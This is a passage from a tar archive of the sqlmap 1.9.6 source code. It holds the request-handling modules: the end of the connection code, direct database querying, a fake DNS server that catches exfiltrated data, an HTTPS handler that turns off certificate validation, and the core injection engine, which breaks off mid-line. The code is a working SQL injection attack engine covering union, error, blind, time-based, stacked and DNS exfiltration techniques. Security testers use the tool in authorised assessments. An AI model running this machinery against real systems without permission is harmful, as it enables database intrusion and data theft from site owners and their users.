_urllib.parse.unquote(value or ""): def _(value): if kb.customInjectionMark in (value or ""): if payload is None: value = value.replace(kb.customInjectionMark, "") else: try: value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) except re.error: value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) return value page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = code if kb.originalCode is None else kb.originalCode kb.originalPage = page if kb.originalPage is None else kb.originalPage if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: kb.responseTimes.setdefault(kb.responseTimeMode, []) kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) if len(kb.responseTimes[kb.responseTimeMode]) > MAX_TIME_RESPONSES: kb.responseTimes[kb.responseTimeMode] = kb.responseTimes[kb.responseTimeMode][-MAX_TIME_RESPONSES // 2:] if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I) if message: kb.permissionFlag = True singleTimeWarnMessage("potential permission problems detected ('%s')" % message) headers = patchHeaders(headers) if content or response: return page, headers, code if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength) def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/direct.py������������������������������������������������������������������0000664�0000000�0000000�00000006234�15022617442�0017116�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import time from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import extractExpectedValue from lib.core.common import getCurrentThreadData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import TIMEOUT_STATE from lib.core.settings import UNICODE_ENCODING from lib.utils.safe2bin import safecharencode from lib.utils.timeout import timeout def direct(query, content=True): select = True query = agent.payloadDirect(query) query = agent.adjustLateValues(query) threadData = getCurrentThreadData() if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement": select = False break if select: if re.search(r"(?i)\ASELECT ", query) is None: query = "SELECT %s" % query if conf.binaryFields: for field in conf.binaryFields: field = field.strip() if re.search(r"\b%s\b" % re.escape(field), query): query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query) logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() if not select and re.search(r"(?i)\bEXEC ", query) is None: timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) elif state == TIMEOUT_STATE.TIMEOUT: conf.dbmsConnector.close() conf.dbmsConnector.connect() elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: return output elif content: if output and isListLike(output): if len(output[0]) == 1: output = [_[0] for _ in output] retVal = getUnicode(output, noneToNull=True) return safecharencode(retVal) if kb.safeCharEncode else retVal else: return extractExpectedValue(output, EXPECTED.BOOL) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/dns.py���������������������������������������������������������������������0000664�0000000�0000000�00000013600�15022617442�0016423�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import binascii import os import re import socket import struct import threading import time class DNSQuery(object): """ >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." True >>> DNSQuery(b'\\x00')._query == b"" True """ def __init__(self, raw): self._raw = raw self._query = b"" try: type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 j = ord(raw[i:i + 1]) while j != 0: self._query += raw[i + 1:i + j + 1] + b'.' i = i + j + 1 j = ord(raw[i:i + 1]) except TypeError: pass def response(self, resolution): """ Crafts raw DNS resolution response packet """ retVal = b"" if self._query: retVal += self._raw[:2] # Transaction ID retVal += b"\x85\x80" # Flags (Standard query response, No error) retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query retVal += b"\xc0\x0c" # Pointer to domain name retVal += b"\x00\x01" # Type A retVal += b"\x00\x01" # Class IN retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) retVal += b"\x00\x04" # Data length retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal class DNSServer(object): """ Used for making fake DNS resolution responses based on received raw request Reference(s): https://code.activestate.com/recipes/491264-mini-fake-dns-server/ https://web.archive.org/web/20150418152405/https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py """ def __init__(self): self._check_localhost() self._requests = [] self._lock = threading.Lock() try: self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) except AttributeError: self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False self._initialized = False def _check_localhost(self): response = b"" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("", 53)) s.send(binascii.unhexlify("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com response = s.recv(512) except: pass finally: if response and b"google" in response: raise socket.error("another DNS service already running on '0.0.0.0:53'") def pop(self, prefix=None, suffix=None): """ Returns received DNS resolution request (if any) that has given prefix/suffix combination (e.g. prefix.<query result>.suffix.domain) """ retVal = None if prefix and hasattr(prefix, "encode"): prefix = prefix.encode() if suffix and hasattr(suffix, "encode"): suffix = suffix.encode() with self._lock: for _ in self._requests: if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I): self._requests.remove(_) retVal = _.decode() break return retVal def run(self): """ Runs a DNSServer instance as a daemon thread (killed by program exit) """ def _(): try: self._running = True self._initialized = True while True: data, addr = self._socket.recvfrom(1024) _ = DNSQuery(data) self._socket.sendto(_.response("127.0.0.1"), addr) with self._lock: self._requests.append(_._query) except KeyboardInterrupt: raise finally: self._running = False thread = threading.Thread(target=_) thread.daemon = True thread.start() if __name__ == "__main__": server = None try: server = DNSServer() server.run() while not server._initialized: time.sleep(0.1) while server._running: while True: _ = server.pop() if _ is None: break else: print("[i] %s" % _) time.sleep(1) except socket.error as ex: if 'Permission' in str(ex): print("[x] Please run with sudo/Administrator privileges") else: raise except KeyboardInterrupt: os._exit(0) finally: if server: server._running = False ��������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/httpshandler.py������������������������������������������������������������0000664�0000000�0000000�00000013562�15022617442�0020346�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import socket from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.compat import LooseVersion from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import PYVERSION from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib ssl = None try: import ssl as _ssl ssl = _ssl except ImportError: pass _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) _contexts = {} class HTTPSConnection(_http_client.HTTPSConnection): """ Connection class that enables usage of newer SSL protocols. Reference: http://bugs.python.org/msg128686 NOTE: use https://check-tls.akamaized.net/ to check if (e.g.) TLS/SNI is working properly """ def __init__(self, *args, **kwargs): # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158 if hasattr(ssl, "_create_default_https_context"): if None not in _contexts: _contexts[None] = ssl._create_default_https_context() kwargs["context"] = _contexts[None] self.retrying = False _http_client.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): def create_sock(): sock = socket.create_connection((self.host, self.port), self.timeout) if getattr(self, "_tunnel_host", None): self.sock = sock self._tunnel() return sock success = False # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if hasattr(ssl, "SSLContext"): for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): try: sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT _contexts[protocol].check_hostname = False _contexts[protocol].verify_mode = ssl.CERT_NONE if getattr(self, "cert_file", None) and getattr(self, "key_file", None): _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 # https://askubuntu.com/a/1250807 # https://git.zknt.org/mirror/bazarr/commit/7f05f932ffb84ba8b9e5630b2adc34dbd77e2b4a?style=split&whitespace=show-all&show-outdated= _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") except (ssl.SSLError, AttributeError): pass result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) if result: success = True self.sock = result _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: self._tunnel_host = None logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) elif hasattr(ssl, "wrap_socket"): for protocol in _protocols: try: sock = create_sock() _ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"), ssl_version=protocol) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: self._tunnel_host = None logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) if not success: errMsg = "can't establish SSL connection" # Reference: https://docs.python.org/2/library/ssl.html if LooseVersion(PYVERSION) < LooseVersion("2.7.9"): errMsg += " (please retry with Python >= 2.7.9)" if kb.sslSuccess and not self.retrying: self.retrying = True for _ in xrange(conf.retries): try: self.connect() except SqlmapConnectionException: pass else: return raise SqlmapConnectionException(errMsg) else: kb.sslSuccess = True class HTTPSHandler(_urllib.request.HTTPSHandler): def https_open(self, req): return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) ����������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/inject.py������������������������������������������������������������������0000664�0000000�0000000�00000060353�15022617442�0017122�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import applyFunctionRecursively from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique from lib.core.common import isDigit from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseUnionPage from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import setTechnique from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.decorators import lockedmethod from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse from thirdparty import six def _goDns(payload, expression): value = None if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: if kb.dnsTest is None: dnsTest(payload) if kb.dnsTest: value = dnsUse(payload, expression) return value def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if payload is None: return None if value is not None: return value timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: msg = "multi-threading is considered unsafe in " msg += "time-based data retrieval. Are you sure " msg += "of your choice (breaking warranty) [y/N] " kb.forceThreads = readInput(msg, default='N', boolean=True) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): alias = randomStr(lowercase=True, seed=hash(expression)) expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example expression += " AS %s" % alias else: expression = "SELECT %s FROM (%s)" % (field, expression) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms() in (DBMS.RAIMA,): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) return value def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): outputs = [] origExpr = None for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field) if isinstance(num, int): expression = origExpr outputs.append(output) return outputs def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(getTechnique()) query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() if not unpack: return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I) and hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query"): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) if limitCond: test = True if stopLimit is None or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] if not stopLimit: count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" choice = readInput(message, default='A').upper() if choice == 'A': stopLimit = count elif choice == 'Q': raise SqlmapUserQuitException elif isDigit(choice) and int(choice) > 0 and int(choice) <= count: stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif choice in ('#', 'S'): message = "how many? " stopLimit = readInput(message, default="10") if not isDigit(stopLimit): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not isDigit(count): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warning(warnMsg) stopLimit = 1 elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warning(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: try: for num in xrange(startLimit or 0, stopLimit or 0): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) except KeyboardInterrupt: print() warnMsg = "user aborted during dumping phase" logger.warning(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(getTechnique()) if conf.dnsDomain: query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) if output is not None: return output vector = getTechniqueData().vector vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output def _goUnion(expression, unpack=True, dump=False): """ Retrieve the output of a SQL query taking advantage of an union SQL injection vulnerability on the affected parameter. """ output = unionUse(expression, unpack=unpack, dump=dump) if isinstance(output, six.string_types): output = parseUnionPage(output) return output @lockedmethod @stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(): if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) conf.hexConvert = False else: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): setTechnique(PAYLOAD.TECHNIQUE.UNION) kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion if expected == EXPECTED.BOOL: # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): setTechnique(PAYLOAD.TECHNIQUE.TIME) else: setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: if conf.abortOnEmpty: errMsg = "aborting due to empty data retrieval" logger.critical(errMsg) raise SystemExit else: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" singleTimeWarnMessage(warnMsg) # Dirty patch (MSSQL --binary-fields with 0x31003200...) if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: def _(value): if isinstance(value, six.text_type): if value.startswith(u"0x"): value = value[2:] if value and len(value) % 4 == 0: candidate = "" for i in xrange(len(value)): if i % 4 < 2: candidate += value[i] elif value[i] != '0': candidate = None break if candidate: value = candidate return value value = applyFunctionRecursively(value, _) # Dirty patch (safe-encoded unicode characters) if isinstance(value, six.text_type) and "\\x" in value: try: candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected) def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: setTechnique(PAYLOAD.TECHNIQUE.STACKED) else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): setTechnique(technique) break expression = cleanQuery(expression) if conf.direct: return direct(expression) query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in 